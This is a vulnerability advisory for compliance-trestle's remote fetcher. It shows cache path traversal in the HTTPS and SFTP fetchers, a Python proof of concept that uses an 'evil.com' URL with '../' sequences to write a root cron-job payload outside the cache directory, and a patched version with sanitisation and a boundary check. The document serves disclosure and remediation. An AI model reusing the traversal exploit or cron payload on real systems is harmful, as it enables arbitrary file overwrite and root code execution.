compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        # ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
        # ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

    def _do_fetch(self) -> None:
        # ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text  # ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path

class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
        # Identical path construction — same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

pip install compliance-trestle==4.0.2

#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)

# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))

class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname

        # ✅ Sanitize path: remove traversal sequences
        safe_path = pathlib.PurePosixPath(u.path).parts
        safe_path = [p for p in safe_path if p != '..' and p != '/']
        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = https_cached_dir / safe_path[-1]

        # ✅ Boundary check
        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
            raise TrestleError(
                f"Cache path traversal blocked: URL '{uri}' resolves to "
                f"'{self._cached_object_path.resolve()}' outside cache directory"
            )